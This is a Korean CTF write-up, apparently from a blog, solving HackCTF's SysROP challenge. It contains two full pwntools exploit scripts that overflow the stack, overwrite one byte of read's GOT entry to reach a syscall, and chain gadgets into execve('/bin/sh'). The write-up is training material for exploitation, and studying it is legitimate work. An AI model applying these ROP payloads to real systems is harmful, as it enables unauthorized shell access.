이번에 풀이할 문제는 HackCTF의 SysROP문제다. 이름처럼 Syscall을 활용한 ROP 공격을 수행해야될 것 같다.
문제 파일로는 binary와 libc 파일이 주어져 있다.
바이너리 파일을 실행해보면 사용자의 입력만 받고 종료되는 것을 볼 수 있다.
보호기법은 NX bit만 걸려있다.
main함수를 ida로 확인해보면 read 함수로 0x78byte만큼 buf에 입력을 받는데, 이 과정에서 overflow가 발생하는 것을 알 수 있다. nx bit가 걸려있기 때문에 rop 공격을 하는 식으로 가야겠지만, 문제는 출력해주는 함수가 없다.
system 함수를 통해 쉘을 얻든, 원샷 가젯을 쓰든 libc base를 구해야지 가능한 것인데 leak를 위한 출력함수가 없기에 현재의 내 지식으로는 일반적인 rop 공격은 힘들 것 같다. 그러므로 생각할 수 있는 방법은 sysrop나 srop 정도가 있다.
ret와 buf간의 정확한 거리를 알아보기 위해 gdb로 바이너리를 열어보면 gdb가 main 함수를 인식하지 못하는 현상을 볼 수 있다. 이는 strip라는 안티 디버깅 때문인데, objdump -d 명령어로 main 함수의 주소를 찾아서 bp를 걸거나, peda의 start 명령어를 사용하면 main 함수에서 디버깅을 진행할 수 있다.
나는 objdump를 사용했다.
디스어셈블 된 결과를 보다보면 위와 같은 부분을 찾을 수 있다. ida에서 확인한 main 함수처럼 setvbuf를 2번 호출하고 read 함수로 입력을 받는다. 메인 함수의 시작 주소는 0x4005f2이고 read를 호출하는 부분의 주소는 0x400647이다.
위에서 확인한 주소들에 bp를 걸고 실행한다면 ret와 buf의 스택 주소를 알 수 있다.
ret : 0x7fffffffdcd8
buf : 0x7fffffffdcc0 (ni 명령어를 입력해 입력 값을 넣은 후 해당 주소를 확인해보면 입력 값의 ascii 값이 저장돼 있다.)
따라서 ret와 buf 사이의 거리는 24byte다. 24byte의 더미 값들과 함께라면 ret를 변조할 수 있다.
거리를 알았으니 이제 srop, sysrop를 위한 syscall 가젯을 찾아보려 했지만 syscall 가젯은 보이지 않았다. ROPgadget 오류인가 싶어 objdump로 찾아봤는데도 마찬가지였다. 그리고 몇 시간동안 삽질을 하다가 결국 write up을 보고 syscall 가젯이 바이너리 내부에 있는 것이 아닌 read 함수에 존재한다는 사실을 깨달았다.
처음에는 sysrop를 사용하는 문제면 왜 libc가 있는지 알 수 없었는데, 이제야 알게 됐다. aslr 등이 걸려 있어도 결국 끝 1.5byte의 주소는 동일하므로 read got의 끝 1byte만 syscall의 끝 1byte의 주소로 변조해준다면 read 함수를 호출했을 때 syscall이 실행되게끔 할 수 있을 것이다.
(1.5byte가 아닌 1byte만 변조하는 이유 : read 함수의 프롤로그와 syscall 함수의 위치가 0x100 이상 차이나지 않기 때문이고 또한 read 함수를 통해 got을 변조할 것인데 read의 3번째 인자인 size는 정수만 입력 가능하기 때문)
이 syscall이 실행되기 전 rax 레지스터에 0x3b를 넣고 rdi, rsi, rdx에 각각 쉘을 얻게끔 인자를 세팅해준다면, 쉘을 얻을 수 있을 것이다.
그렇다면 일단 read 함수, syscall을 호출할 때 인자 세팅을 해줄 가젯들을 찾아보겠다.
순서가 좀 바뀌어 있긴 하지만 read 함수를 위한 가젯으로는 0x4005eb 주소의 가젯을 쓰면 될 것 같고, syscall은 0x4005ea의 가젯을 쓰면 될 것 같다.
공격은 먼저 "/bin/sh" 문자열을 bss 영역에 써둔 후 read got의 끝 1.5byte를 \x5e로 변조한 뒤 bss를 인자로 read 함수를 호출하면 된다.
from pwn import *
r = remote('ctf.j0n9hyun.xyz', 3024)
elf = ELF('./sysrop')
bss = elf.bss()
main = 0x00000000004005F2
read_plt = elf.plt['read']
read_got= elf.got['read']
pppr = 0x00000000004005eb # pop rdx ; pop rdi ; pop rsi ; ret ;
ppppr = 0x00000000004005ea # pop rax ; pop rdx ; pop rdi ; pop rsi ; ret ;
payload = b'A' * 24 + p64(pppr) + p64(8) + p64(0) + p64(bss) + p64(read_plt) + p64(main)
payload2 = b'A' * 24 + p64(pppr) + p64(1) + p64(0) + p64(read_got) + p64(read_plt)
payload2 += p64(ppppr) + p64(0x3b) + p64(0) + p64(bss) + p64(0) + p64(read_plt)
r.send(payload)
sleep(0.1)
r.send(b"/bin/sh\x00")
sleep(0.1)
r.send(payload2)
sleep(0.1)
r.send(b'\x5e')
sleep(1)
r.interactive()
chain을 구상해 한 번의 payload 전송으로 쉘을 얻게끔하는 방법도 생각했지만 입력 값의 제한이 있으므로, payload를 나눠서 첫 번째 payload 전송 후에는 main으로 다시 돌아와서 두 번째 payload를 전송하는 식으로 코드를 짰다.
하지만 위 코드는 제대로 쉘을 따내지 못한다.
보면 bss 섹션에 "/bin/sh" 문자열을 넣은 후 그 다음 payload를 전송할 때 문제가 발생하는데, 두 번째 payload에 넣은 read 함수가 제대로 작동하지 않아 생기는 문제인 것 같다.
이유를 알아보기 위해서 디버깅을 하는 등 여러가지 시도를하다가 ida를 통해 bss 섹션을 살펴보고 이유를 깨달았다. 보면 bss 영역의 시작 부분에는 stdout, stdin이 존재하는데, pwntools에서 bss() 함수를 사용한다면 bss의 시작 주소가 반환된다.
즉, 입.출력에 필요한 stdout, stdin을 "/bin/sh" 문자열로 덮어써버리니 /bin/sh를 입력한 후 다음 read 함수가 정상적으로 입력을 받지 못하는 것이다.
해결 방법은 두 가지가 있다.
1. bss 위쪽에 보이는 data 섹션에 "/bin/sh" 문자열을 저장한다.
2. bss에 존재하는 stdout, stdin에 영향이 없게끔 이 다음 주소에 "/bin/sh" 문자열을 저장한다.
나는 1번 방법을 사용했다.
from pwn import *
r = remote('ctf.j0n9hyun.xyz', 3024)
elf = ELF('./sysrop')
data = 0x601030
main = 0x00000000004005F2
read_plt = elf.plt['read']
read_got= elf.got['read']
pppr = 0x00000000004005eb # pop rdx ; pop rdi ; pop rsi ; ret ;
ppppr = 0x00000000004005ea # pop rax ; pop rdx ; pop rdi ; pop rsi ; ret ;
payload = b'A' * 24 + p64(pppr) + p64(8) + p64(0) + p64(data) + p64(read_plt) + p64(main)
payload2 = b'A' * 24 + p64(pppr) + p64(1) + p64(0) + p64(read_got) + p64(read_plt)
payload2 += p64(ppppr) + p64(0x3b) + p64(0) + p64(data) + p64(0) + p64(read_plt)
r.send(payload)
sleep(0.1)
r.send(b"/bin/sh\x00")
sleep(0.1)
r.send(payload2)
sleep(0.1)
r.send(b'\x5e')
sleep(1)
r.interactive()
위 코드가 수정한 exploit 코드다. bss 섹션 대신 data 섹션의 주소인 0x601030에 "/bin/sh"를 저장하게끔 작성했다.
성공적으로 flag를 얻을 수 있었다. GG!
'Wargame > HackCTF' 카테고리의 다른 글
[HackCTF] Look at me (x86 mprotect rop) (0) | 2021.07.25 |
---|---|
[HackCTF] Great Binary (0) | 2021.07.25 |
[HackCTF] ROP (0) | 2021.07.21 |
[HackCTF] RTL_Core (0) | 2021.07.20 |
[HackCTF] Random Key (0) | 2021.07.20 |